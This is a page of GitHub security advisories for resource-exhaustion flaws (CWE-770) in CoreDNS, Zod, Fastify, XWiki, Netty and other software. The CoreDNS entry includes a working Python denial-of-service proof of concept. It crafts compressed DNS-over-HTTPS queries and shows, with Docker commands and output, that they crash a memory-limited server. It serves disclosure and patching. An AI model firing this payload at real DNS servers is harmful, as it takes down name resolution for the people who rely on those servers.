CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3850 vulnerabilities reference this CWE, most recent first.
GHSA-MRG3-QVQR-JW29
Vulnerability from github – Published: 2026-09-17 20:32 – Updated: 2026-09-17 20:32Summary
CoreDNS parses attacker-controlled DNS section counts before validating them on DNS-over-HTTPS (DoH and DoH3), DNS-over-QUIC (DoQ), and DNS-over-gRPC listeners. An unauthenticated client can use DNS name compression to make one 65,533-byte request allocate more than 10 MiB while it is unpacked. Concurrent requests can exhaust memory and terminate CoreDNS.
Details
The affected request paths call dns.Msg.Unpack directly:
- DoH POST and GET decoding. DoH3 uses the same decoder.
- DoQ stream handling.
- DNS-over-gRPC query handling.
This differs from the miekg/dns UDP and TCP server. Its serveDNS path decodes the fixed 12-byte header and invokes DefaultMsgAcceptFunc before unpacking the DNS sections. The default policy rejects requests unless QDCOUNT is exactly one and also limits the other section counts. CoreDNS's custom transports bypass this early validation.
Parsing happens before the plugin chain. Plugin-level rate limiting or request handling cannot prevent the allocation. The fix is to apply dns.DefaultMsgAcceptFunc to the fixed header before calling Msg.Unpack in each custom request transport. Response decoding must remain separate because the request policy intentionally rejects response headers.
PoC
The PoC runs against the DoH server.
Run the following from a clean checkout of CoreDNS v1.14.6. Docker must support container memory limits. The example uses the test certificate already present in the repository and publishes the test service only on loopback.
Save this as Corefile.cd01:
https://.:8053 {
tls /cert.pem /key.pem
whoami
}
Save this standard-library client as poc-cd01.py:
#!/usr/bin/env python3
import argparse
import concurrent.futures
from collections import Counter
import http.client
import ssl
import struct
def normal_query():
header = struct.pack("!HHHHHH", 0x1234, 0x0100, 1, 0, 0, 0)
question = b"\x07example\x03org\x00" + struct.pack("!HH", 1, 1)
return header + question, 1
def attack_query():
message = bytearray(65535)
offset = 12
name_offset = offset
for size in (63, 63, 63, 61):
message[offset] = size
offset += 1
message[offset : offset + size] = b"\x01" * size
offset += size
message[offset] = 0
offset += 1
struct.pack_into("!HH", message, offset, 1, 1)
offset += 4
questions = 1
while offset + 6 <= len(message):
struct.pack_into("!HHH", message, offset, 0xC000 | name_offset, 1, 1)
offset += 6
questions += 1
struct.pack_into(
"!HHHHHH", message, 0, 0x1234, 0x0100, questions, 0, 0, 0
)
return bytes(message[:offset]), questions
def send(payload):
context = ssl._create_unverified_context()
connection = http.client.HTTPSConnection(
"127.0.0.1", 18053, timeout=3, context=context
)
try:
connection.request(
"POST",
"/dns-query",
body=payload,
headers={"Content-Type": "application/dns-message"},
)
response = connection.getresponse()
response.read()
return f"http-{response.status}"
except Exception:
return "error"
finally:
connection.close()
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--normal", action="store_true")
parser.add_argument("--workers", type=int, default=1)
args = parser.parse_args()
payload, questions = normal_query() if args.normal else attack_query()
print(
f"payload={len(payload)} questions={questions} workers={args.workers}"
)
with concurrent.futures.ThreadPoolExecutor(args.workers) as pool:
results = pool.map(send, [payload] * args.workers)
print(Counter(results))
if __name__ == "__main__":
main()
Build the Linux binary and container image:
GOCACHE=/tmp/coredns-gocache \
GOOS=linux GOARCH="$(go env GOARCH)" CGO_ENABLED=0 \
go build -tags=grpcnotrace -o coredns .
docker build --tag coredns-cd01:vulnerable .
Start CoreDNS with a 64 MiB memory and swap limit:
docker run --detach --name coredns-cd01 \
--memory 64m --memory-swap 64m \
--publish 127.0.0.1:18053:8053/tcp \
--volume "$PWD/Corefile.cd01:/Corefile:ro" \
--volume "$PWD/plugin/tls/test_cert.pem:/cert.pem:ro" \
--volume "$PWD/plugin/tls/test_key.pem:/key.pem:ro" \
coredns-cd01:vulnerable -conf /Corefile
Confirm that the listener works and that one malicious request is accepted:
$ python3 poc-cd01.py --normal
payload=29 questions=1 workers=1
Counter({'http-200': 1})
$ python3 poc-cd01.py
payload=65533 questions=10878 workers=1
Counter({'http-200': 1})
Send 32 malicious requests concurrently and inspect the container:
$ python3 poc-cd01.py --workers 32
payload=65533 questions=10878 workers=32
Counter({'error': 32})
$ docker inspect --format '{{.State.Status}} OOMKilled={{.State.OOMKilled}} ExitCode={{.State.ExitCode}}' coredns-cd01
exited OOMKilled=true ExitCode=137
OOMKilled=true confirms that the container was terminated by memory exhaustion rather than a CoreDNS configuration error.
Impact
This is an unauthenticated denial-of-service vulnerability. Deployments are affected when DoH, DoH3, DoQ, or DNS-over-gRPC is exposed to an attacker. The ordinary miekg/dns UDP and TCP listeners are not affected because they perform the header acceptance check before unpacking.
In the validated configuration, 32 requests OOM-killed a CoreDNS container limited to 64 MiB. Higher memory limits increase the number of concurrent requests required but do not remove the allocation amplification. Successful exploitation interrupts DNS service.
CoreDNS versions v007 through v1.14.6 are affected when DNS-over-gRPC is exposed. DoH is affected from v1.1.3, DoQ from v1.11.0, and DoH3 from v1.13.2.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.14.6"
},
"package": {
"ecosystem": "Go",
"name": "github.com/coredns/coredns"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.14.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-82399"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-17T20:32:27Z",
"nvd_published_at": "2026-09-16T19:17:44Z",
"severity": "HIGH"
},
"details": "### Summary\n\nCoreDNS parses attacker-controlled DNS section counts before validating them on DNS-over-HTTPS (DoH and DoH3), DNS-over-QUIC (DoQ), and DNS-over-gRPC listeners. An unauthenticated client can use DNS name compression to make one\n65,533-byte request allocate more than 10 MiB while it is unpacked. Concurrent requests can exhaust memory and terminate CoreDNS.\n\n### Details\n\nThe affected request paths call `dns.Msg.Unpack` directly:\n\n- [DoH POST and GET decoding](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/pkg/doh/doh.go#L134-L155). DoH3 uses the same decoder.\n- [DoQ stream handling](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/core/dnsserver/server_quic.go#L212-L219).\n- [DNS-over-gRPC query handling](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/core/dnsserver/server_grpc.go#L176-L184).\n\nThis differs from the [miekg/dns](https://github.com/miekg/dns) UDP and TCP server. Its [`serveDNS`](https://github.com/miekg/dns/blob/v1.1.72/server.go#L628-L643) path decodes the fixed 12-byte header and invokes [`DefaultMsgAcceptFunc`](https://github.com/miekg/dns/blob/v1.1.72/acceptfunc.go#L33-L57) before unpacking the DNS sections. The default policy rejects requests unless `QDCOUNT` is exactly one and also limits the other section counts. CoreDNS\u0027s custom transports bypass this early validation.\n\nParsing happens before the plugin chain. Plugin-level rate limiting or request handling cannot prevent the allocation. The fix is to apply `dns.DefaultMsgAcceptFunc` to the fixed header before calling `Msg.Unpack` in each custom request transport. Response decoding must remain separate because the request policy intentionally rejects response headers.\n\n### PoC\n\nThe PoC runs against the DoH server.\n\nRun the following from a clean checkout of CoreDNS v1.14.6. Docker must support container memory limits. The example uses the test certificate already present in the repository and publishes the test service only on loopback.\n\n\nSave this as `Corefile.cd01`:\n\n```text\nhttps://.:8053 {\n tls /cert.pem /key.pem\n whoami\n}\n```\n\nSave this standard-library client as `poc-cd01.py`:\n\n```python\n#!/usr/bin/env python3\nimport argparse\nimport concurrent.futures\nfrom collections import Counter\nimport http.client\nimport ssl\nimport struct\n\n\ndef normal_query():\n header = struct.pack(\"!HHHHHH\", 0x1234, 0x0100, 1, 0, 0, 0)\n question = b\"\\x07example\\x03org\\x00\" + struct.pack(\"!HH\", 1, 1)\n return header + question, 1\n\n\ndef attack_query():\n message = bytearray(65535)\n offset = 12\n name_offset = offset\n\n for size in (63, 63, 63, 61):\n message[offset] = size\n offset += 1\n message[offset : offset + size] = b\"\\x01\" * size\n offset += size\n\n message[offset] = 0\n offset += 1\n struct.pack_into(\"!HH\", message, offset, 1, 1)\n offset += 4\n questions = 1\n\n while offset + 6 \u003c= len(message):\n struct.pack_into(\"!HHH\", message, offset, 0xC000 | name_offset, 1, 1)\n offset += 6\n questions += 1\n\n struct.pack_into(\n \"!HHHHHH\", message, 0, 0x1234, 0x0100, questions, 0, 0, 0\n )\n return bytes(message[:offset]), questions\n\n\ndef send(payload):\n context = ssl._create_unverified_context()\n connection = http.client.HTTPSConnection(\n \"127.0.0.1\", 18053, timeout=3, context=context\n )\n try:\n connection.request(\n \"POST\",\n \"/dns-query\",\n body=payload,\n headers={\"Content-Type\": \"application/dns-message\"},\n )\n response = connection.getresponse()\n response.read()\n return f\"http-{response.status}\"\n except Exception:\n return \"error\"\n finally:\n connection.close()\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--normal\", action=\"store_true\")\n parser.add_argument(\"--workers\", type=int, default=1)\n args = parser.parse_args()\n\n payload, questions = normal_query() if args.normal else attack_query()\n print(\n f\"payload={len(payload)} questions={questions} workers={args.workers}\"\n )\n with concurrent.futures.ThreadPoolExecutor(args.workers) as pool:\n results = pool.map(send, [payload] * args.workers)\n print(Counter(results))\n\n\nif __name__ == \"__main__\":\n main()\n```\n\nBuild the Linux binary and container image:\n\n```sh\nGOCACHE=/tmp/coredns-gocache \\\nGOOS=linux GOARCH=\"$(go env GOARCH)\" CGO_ENABLED=0 \\\ngo build -tags=grpcnotrace -o coredns .\ndocker build --tag coredns-cd01:vulnerable .\n```\n\nStart CoreDNS with a 64 MiB memory and swap limit:\n\n```sh\ndocker run --detach --name coredns-cd01 \\\n --memory 64m --memory-swap 64m \\\n --publish 127.0.0.1:18053:8053/tcp \\\n --volume \"$PWD/Corefile.cd01:/Corefile:ro\" \\\n --volume \"$PWD/plugin/tls/test_cert.pem:/cert.pem:ro\" \\\n --volume \"$PWD/plugin/tls/test_key.pem:/key.pem:ro\" \\\n coredns-cd01:vulnerable -conf /Corefile\n```\n\nConfirm that the listener works and that one malicious request is accepted:\n\n```console\n$ python3 poc-cd01.py --normal\npayload=29 questions=1 workers=1\nCounter({\u0027http-200\u0027: 1})\n\n$ python3 poc-cd01.py\npayload=65533 questions=10878 workers=1\nCounter({\u0027http-200\u0027: 1})\n```\n\nSend 32 malicious requests concurrently and inspect the container:\n\n```console\n$ python3 poc-cd01.py --workers 32\npayload=65533 questions=10878 workers=32\nCounter({\u0027error\u0027: 32})\n\n$ docker inspect --format \u0027{{.State.Status}} OOMKilled={{.State.OOMKilled}} ExitCode={{.State.ExitCode}}\u0027 coredns-cd01\nexited OOMKilled=true ExitCode=137\n```\n\n`OOMKilled=true` confirms that the container was terminated by memory exhaustion rather than a CoreDNS configuration error.\n\n### Impact\n\nThis is an unauthenticated denial-of-service vulnerability. Deployments are affected when DoH, DoH3, DoQ, or DNS-over-gRPC is exposed to an attacker. The ordinary miekg/dns UDP and TCP listeners are not affected because they perform the header acceptance check before unpacking.\n\nIn the validated configuration, 32 requests OOM-killed a CoreDNS container limited to 64 MiB. Higher memory limits increase the number of concurrent requests required but do not remove the allocation amplification. Successful exploitation interrupts DNS service.\n\nCoreDNS versions v007 through v1.14.6 are affected when DNS-over-gRPC is exposed. DoH is affected from v1.1.3, DoQ from v1.11.0, and DoH3 from v1.13.2.",
"id": "GHSA-mrg3-qvqr-jw29",
"modified": "2026-09-17T20:32:27Z",
"published": "2026-09-17T20:32:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/security/advisories/GHSA-mrg3-qvqr-jw29"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82399"
},
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/commit/530b0a5ff2ad68cc0421f10dd93568945cc671c9"
},
{
"type": "PACKAGE",
"url": "https://github.com/coredns/coredns"
},
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/releases/tag/v1.14.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "CoreDNS: Unauthenticated memory exhaustion in custom transports"
}
GHSA-MRHX-C7XC-M3W5
Vulnerability from github – Published: 2026-10-01 18:32 – Updated: 2026-10-01 18:32Zod schema-validation library through 4.6.5 contains an uncontrolled resource consumption vulnerability that allows attackers to exhaust memory by submitting a large array to an application using an array schema without a length constraint. Attackers can exploit the handleArrayResult parse logic in $ZodArray, which accumulates every validation issue for each failing element with no cap or early termination, causing the process to allocate excessive issue objects and crash due to out-of-memory conditions.
{
"affected": [],
"aliases": [
"CVE-2023-54404"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-01T18:17:11Z",
"severity": "HIGH"
},
"details": "Zod schema-validation library through 4.6.5 contains an uncontrolled resource consumption vulnerability that allows attackers to exhaust memory by submitting a large array to an application using an array schema without a length constraint. Attackers can exploit the handleArrayResult parse logic in $ZodArray, which accumulates every validation issue for each failing element with no cap or early termination, causing the process to allocate excessive issue objects and crash due to out-of-memory conditions.",
"id": "GHSA-mrhx-c7xc-m3w5",
"modified": "2026-10-01T18:32:46Z",
"published": "2026-10-01T18:32:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-54404"
},
{
"type": "WEB",
"url": "https://github.com/colinhacks/zod/issues/1872"
},
{
"type": "WEB",
"url": "https://github.com/colinhacks/zod/pull/6475"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/zod-uncontrolled-resource-consumption-via-array-validation"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-MRQ3-VJJR-P77C
Vulnerability from github – Published: 2026-02-02 22:25 – Updated: 2026-02-04 17:46Impact
A Denial of Service vulnerability in Fastify’s Web Streams response handling can allow a remote client to exhaust server memory. Applications that return a ReadableStream (or Response with a Web Stream body) via reply.send() are impacted. A slow or non-reading client can trigger unbounded buffering when backpressure is ignored, leading to process crashes or severe degradation.
Patches
The issue is fixed in Fastify 5.7.3. Users should upgrade to 5.7.3 or later.
Workarounds
Avoid sending Web Streams from Fastify responses (e.g., ReadableStream or Response bodies). Use Node.js streams (stream.Readable) or buffered payloads instead until the project can upgrade.
References
- https://hackerone.com/reports/3524779
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.7.2"
},
"package": {
"ecosystem": "npm",
"name": "fastify"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.7.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25224"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-02T22:25:05Z",
"nvd_published_at": "2026-02-03T22:16:31Z",
"severity": "LOW"
},
"details": "### Impact\nA Denial of Service vulnerability in Fastify\u2019s Web Streams response handling can allow a remote client to exhaust server memory. Applications that return a `ReadableStream` (or `Response` with a Web Stream body) via `reply.send()` are impacted. A slow or non-reading client can trigger unbounded buffering when backpressure is ignored, leading to process crashes or severe degradation.\n\n### Patches\nThe issue is fixed in Fastify 5.7.3. Users should upgrade to 5.7.3 or later.\n\n### Workarounds\nAvoid sending Web Streams from Fastify responses (e.g., `ReadableStream` or `Response` bodies). Use Node.js streams (`stream.Readable`) or buffered payloads instead until the project can upgrade.\n\n### References\n- https://hackerone.com/reports/3524779",
"id": "GHSA-mrq3-vjjr-p77c",
"modified": "2026-02-04T17:46:06Z",
"published": "2026-02-02T22:25:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fastify/fastify/security/advisories/GHSA-mrq3-vjjr-p77c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25224"
},
{
"type": "WEB",
"url": "https://github.com/fastify/fastify/commit/eb11156396f6a5fedaceed0140aed2b7f026be37"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3524779"
},
{
"type": "PACKAGE",
"url": "https://github.com/fastify/fastify"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Fastify Vulnerable to DoS via Unbounded Memory Allocation in sendWebStream"
}
GHSA-MRQG-XMGM-RC5G
Vulnerability from github – Published: 2026-04-14 22:34 – Updated: 2026-04-24 20:29Impact
REST API endpoints like /xwiki/rest/wikis/xwiki/spaces/AnnotationCode/pages/AnnotationConfig/objects/AnnotationCode.AnnotationConfig/0/properties list all available pages as part of the metadata for database list properties, which can exhaust available resources on large wikis.
Patches
This problem has been patched by applying the configured query limit also to the available values for database list properties in XWiki 16.10.16, 17.4.8 and 17.10.1.
Workarounds
We're not aware of any workarounds apart from upgrading the affected modules.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-oldcore"
},
"ranges": [
{
"events": [
{
"introduced": "1.8-rc-1"
},
{
"fixed": "16.10.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-oldcore"
},
"ranges": [
{
"events": [
{
"introduced": "17.0.0-rc-1"
},
{
"fixed": "17.4.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-oldcore"
},
"ranges": [
{
"events": [
{
"introduced": "17.5.0-rc-1"
},
{
"fixed": "17.10.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-legacy-oldcore"
},
"ranges": [
{
"events": [
{
"introduced": "1.8-rc-1"
},
{
"fixed": "16.10.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-legacy-oldcore"
},
"ranges": [
{
"events": [
{
"introduced": "17.0.0-rc-1"
},
{
"fixed": "17.4.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-legacy-oldcore"
},
"ranges": [
{
"events": [
{
"introduced": "17.5.0-rc-1"
},
{
"fixed": "17.10.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40104"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T22:34:04Z",
"nvd_published_at": "2026-04-15T04:17:47Z",
"severity": "MODERATE"
},
"details": "### Impact\nREST API endpoints like `/xwiki/rest/wikis/xwiki/spaces/AnnotationCode/pages/AnnotationConfig/objects/AnnotationCode.AnnotationConfig/0/properties` list all available pages as part of the metadata for database list properties, which can exhaust available resources on large wikis.\n\n### Patches\nThis problem has been patched by applying the configured query limit also to the available values for database list properties in XWiki 16.10.16, 17.4.8 and 17.10.1.\n\n### Workarounds\nWe\u0027re not aware of any workarounds apart from upgrading the affected modules.",
"id": "GHSA-mrqg-xmgm-rc5g",
"modified": "2026-04-24T20:29:17Z",
"published": "2026-04-14T22:34:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-mrqg-xmgm-rc5g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40104"
},
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/commit/47b568c4753a6e682b14be1ca581bdd3b25d45a7"
},
{
"type": "PACKAGE",
"url": "https://github.com/xwiki/xwiki-platform"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-23550"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "XWiki\u0027s REST APIs can list all pages/spaces, leading to unavailability"
}
GHSA-MRQX-2R72-2C2X
Vulnerability from github – Published: 2026-09-18 12:31 – Updated: 2026-09-23 00:31A flaw was found in Netty. SpdySessionHandler accepts an unlimited number of concurrent remote-initiated streams because localConcurrentStreams defaults to Integer.MAX_VALUE and the handler provides no API to change it. A remote peer can open a SPDY connection and send a large number of SYN_STREAM frames with FLAG_FIN=0, causing unbounded heap and direct memory allocation that can lead to JVM OutOfMemoryError and a denial of service.
{
"affected": [],
"aliases": [
"CVE-2026-93488"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-18T12:17:30Z",
"severity": "HIGH"
},
"details": "A flaw was found in Netty. SpdySessionHandler accepts an unlimited number of concurrent remote-initiated streams because localConcurrentStreams defaults to Integer.MAX_VALUE and the handler provides no API to change it. A remote peer can open a SPDY connection and send a large number of SYN_STREAM frames with FLAG_FIN=0, causing unbounded heap and direct memory allocation that can lead to JVM OutOfMemoryError and a denial of service.",
"id": "GHSA-mrqx-2r72-2c2x",
"modified": "2026-09-23T00:31:13Z",
"published": "2026-09-18T12:31:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-93488"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:69440"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:69470"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:70257"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-93488"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2536887"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.138.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.18.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MRR7-X6J8-VMQ6
Vulnerability from github – Published: 2025-08-29 18:30 – Updated: 2025-09-19 18:31An allocation of resources without limits or throttling vulnerability has been reported to affect File Station 5. If a remote attacker gains a user account, they can then exploit the vulnerability to prevent other systems, applications, or processes from accessing the same type of resource.
We have already fixed the vulnerability in the following version: File Station 5 5.5.6.4907 and later
{
"affected": [],
"aliases": [
"CVE-2025-29899"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-29T18:15:37Z",
"severity": "HIGH"
},
"details": "An allocation of resources without limits or throttling vulnerability has been reported to affect File Station 5. If a remote attacker gains a user account, they can then exploit the vulnerability to prevent other systems, applications, or processes from accessing the same type of resource.\n\nWe have already fixed the vulnerability in the following version:\nFile Station 5 5.5.6.4907 and later",
"id": "GHSA-mrr7-x6j8-vmq6",
"modified": "2025-09-19T18:31:21Z",
"published": "2025-08-29T18:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29899"
},
{
"type": "WEB",
"url": "https://www.qnap.com/en/security-advisory/qsa-25-19"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-MRW7-Q7W8-VJ5J
Vulnerability from github – Published: 2025-06-22 00:30 – Updated: 2025-06-30 18:31The Yealink YMCS RPS API before 2025-05-26 lacks rate limiting, potentially enabling information disclosure via excessive requests.
{
"affected": [],
"aliases": [
"CVE-2025-52917"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-21T23:15:24Z",
"severity": "MODERATE"
},
"details": "The Yealink YMCS RPS API before 2025-05-26 lacks rate limiting, potentially enabling information disclosure via excessive requests.",
"id": "GHSA-mrw7-q7w8-vj5j",
"modified": "2025-06-30T18:31:46Z",
"published": "2025-06-22T00:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52917"
},
{
"type": "WEB",
"url": "https://dnip.ch/2025/06/25/yealink-voip-phones-insecurity-by-design"
},
{
"type": "WEB",
"url": "https://seclists.org/fulldisclosure/2025/Jun/20"
},
{
"type": "WEB",
"url": "https://support.yealink.com/en/portal/knowledge/show?id=6476e7cd6a27da76bd06a9c9"
},
{
"type": "WEB",
"url": "https://www.yealink.com/en/trust-center/security-advisories/f8205560a8c7443f"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MRWR-F6G8-28Q2
Vulnerability from github – Published: 2026-08-12 18:31 – Updated: 2026-08-12 18:31GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.5 before 19.0.6, 19.1 before 19.1.4, and 19.2 before 19.2.2 that under certain conditions could have allowed an unauthenticated user to cause a denial of service due to improper input validation.
{
"affected": [],
"aliases": [
"CVE-2026-7427"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-12T18:18:16Z",
"severity": "MODERATE"
},
"details": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.5 before 19.0.6, 19.1 before 19.1.4, and 19.2 before 19.2.2 that under certain conditions could have allowed an unauthenticated user to cause a denial of service due to improper input validation.",
"id": "GHSA-mrwr-f6g8-28q2",
"modified": "2026-08-12T18:31:22Z",
"published": "2026-08-12T18:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7427"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3638799"
},
{
"type": "WEB",
"url": "https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-2-2-released"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/598561"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-MRX2-MVWR-FG6V
Vulnerability from github – Published: 2025-01-24 00:31 – Updated: 2025-01-28 15:31An allocation-size-too-big bug in the component /imagebuf.cpp of OpenImageIO v3.1.0.0dev may cause a Denial of Service (DoS) when the program to requests to allocate too much space.
{
"affected": [],
"aliases": [
"CVE-2024-55195"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-23T22:15:14Z",
"severity": "HIGH"
},
"details": "An allocation-size-too-big bug in the component /imagebuf.cpp of OpenImageIO v3.1.0.0dev may cause a Denial of Service (DoS) when the program to requests to allocate too much space.",
"id": "GHSA-mrx2-mvwr-fg6v",
"modified": "2025-01-28T15:31:55Z",
"published": "2025-01-24T00:31:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55195"
},
{
"type": "WEB",
"url": "https://github.com/AcademySoftwareFoundation/OpenImageIO/issues/4553"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MRXV-5R9G-HMRR
Vulnerability from github – Published: 2026-02-04 21:30 – Updated: 2026-02-04 21:30IBM Jazz Reporting Service could allow an authenticated user on the host network to cause a denial of service using specially crafted SQL query that consumes excess memory resources.
{
"affected": [],
"aliases": [
"CVE-2025-1823"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-04T21:15:57Z",
"severity": "LOW"
},
"details": "IBM Jazz Reporting Service could allow an authenticated user on the host network to cause a denial of service using specially crafted SQL query that consumes excess memory resources.",
"id": "GHSA-mrxv-5r9g-hmrr",
"modified": "2026-02-04T21:30:32Z",
"published": "2026-02-04T21:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1823"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7258083"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
